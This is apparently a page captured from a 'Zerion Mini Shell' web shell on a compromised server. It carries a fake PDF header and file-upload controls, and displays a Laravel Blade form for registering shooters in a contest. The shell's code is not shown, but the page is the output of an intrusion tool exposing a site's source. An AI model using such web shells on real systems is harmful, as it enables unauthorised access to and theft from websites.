%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/production/resources/views/contests/partials/
Upload File :
Create Path :
Current File : /www/loslex/production/resources/views/contests/partials/add-shooter.blade.php

@push('scripts')
    <script type="module">
        $(document).ready(function() {
            $('#user_id').select2({
                width: '100%',
                language: { noResults: function() {return ' {{ __('No results found') }}';}},
                dropdownCssClass: ':all:',
                selectionCssClass: ':all:'
            });
        });
    </script>
@endpush

<form
    x-data="{
        referee: '{{ old('referee', 0) }}',
        squad: '{{ old('squad', 0) }}',
        setreferee() { if (this.squad == 0) this.referee = 1; else this.referee = 0; },
    }"
    x-init="$watch('squad', value => { setreferee() }); setreferee();"
    method="POST" action="{{ route('registration.store') }}"
    class="p-6 text-gray-700 dark:text-gray-300">
    @csrf

    <input type="hidden" name="contest_id" value="{{$contest->id}}" />
    <input type="hidden" name="contest_level_id" value="{{ $contest->contest_level_id }}" />
    <input type="hidden" name="referee" x-model="referee" />
    <input type="hidden" name="gdpr" value="1" />
    <input type="hidden" name="maintain" value="1" />

    <h3 class="text-xl font-semibold">{{ __('Add shooter') }}</h3>
    <div class="mt-3">
        <x-input-label for="user_id" value="{{ __('Shooter') }}" />
        <x-select name="user_id" id="user_id">
            <option value="" selected disabled>{{ __('Select person') }}</option>
            @foreach ($users as $user)<option @selected(old('user_id') == $user->id) value="{{ $user->id }}">{{ $user->username }} - {{ $user->displayname }}</option>@endforeach
        </x-select>
        <x-input-error :messages="$errors->addOrgMember->get('user_id')" class="mt-2" />
    </div>

    <div class="mt-3">
        <x-input-label for="squad" value="{{__('Squad')}}" />
        <x-select name="squad" id="squad" x-model="squad">
            @for ($i = 0; $i <= $contest->squads; $i++)
                <option @selected(old('squad') == $i) value="{{$i}}">
                    {{ $i == 0 ? 'R' : $i }}
                    @if ($i > 0) ({{$contest->registrations->where('squad', $i)->count()}} / {{$contest->squadSize[$i]}}) @endif
                </option>
            @endfor
        </x-select>
    </div>

    @if ($contest->contest_category)
        <div class="mt-3">
            <x-input-label for="contest_division_id" value="{{__('Division')}}" />
            <x-select id="contest_division_id" name="contest_division_id">
                <option value="" selected disabled>{{ __('Select division') }}</option>
                @foreach ($contest->contest_category->divisions as $division)
                    <option @selected(old('contest_division_id') == $division->id) value="{{ $division->id }}">{{ $division->division }} - {{ __('contest.' . $division->division) }}</option>
                @endforeach
            </x-select>
        </div>
    @endif

    <div class="mt-3">
        <x-text-input type="checkbox" class="rounded" name="notcomp" id="notcomp" :checked="!empty(old('notcomp'))" />
        <x-input-label class="inline ml-2" for="notcomp" value="{{__('Not competing')}}" />
    </div>

    <div><x-input-error class="mt-2" :messages="$errors->all()" /></div>

    <div class="mt-6 flex justify-end">
        <x-secondary-button x-on:click="$dispatch('close')">{{ __('Cancel') }}</x-secondary-button>
        <x-primary-button class="ml-3">{{ __('Save') }}</x-primary-button>
    </div>
</form>

Zerion Mini Shell 1.0